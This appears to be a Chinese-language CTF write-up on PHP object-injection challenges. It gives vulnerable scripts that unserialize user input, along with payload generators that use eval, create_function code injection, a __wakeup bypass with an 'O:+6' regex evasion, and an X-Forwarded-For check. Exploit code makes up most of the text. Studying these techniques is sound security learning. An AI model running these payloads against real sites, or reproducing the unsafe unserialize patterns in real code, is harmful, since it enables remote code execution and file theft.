class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
class a{
var $act="show_source('flag.php');";
function action(){
eval($this->act);
}
}
$demo=new a();
$o=serialize($demo);
# print_r($o);
print_r(urlencode($o));
?>
<?php
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$demo=new mylogin("daydream","ok");
$o=serialize($demo);
print_r(urlencode($o));
?>
<?php
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
unserialize($this->key)();
想到
unserialize([类,方法])();
这样就会执行该类下的方法
$a('', $this->code);
想到
create_function(string $args, string $code)
这里是create_function() 代码注入
class func
{
public $key;
public function __construct(){
$this->key = serialize([new GetFlag(),"get_flag"]);
}
}
class GetFlag
{ public $code;
public $action;
public function __construct(){
$this->code="}show_source('flag.php');//";
$this->action="create_function";
}
}
$demo=new func();
$o=serialize($demo);
print_r(urlencode($o));
?>
create_function注入效果为
function fT(){}show_source('flag.php');//}
即
function fT(){}
show_source('flag.php');//}
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
class secret{
var $file;
public function __construct($file){
$this->file=$file;
}
}
$demo=new secret("flag.php");
$o=serialize($demo);
print_r($o);
?>
反序列化时__wakeup
是在__destruct
之前调用的
执行了__wakeup
后文件就会变成index.php
导致获取flag失败
因此要想办法跳过__wakeup
直接执行__destruct
__wakeup(),执行unserialize()时,先会调用这个函数。
当反序列化时的字符串所对应的对象的数目被修改,__wake 的函数就不会被调用. 并且不会重建为对象,
但是会触发其他的魔术方法比如__destruct
preg_match('/[oc]:\d+:/i',$cmd)
会在O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
中匹配到O:6:
可以改为+6绕过 原理
综上,O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
改为O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag()
?>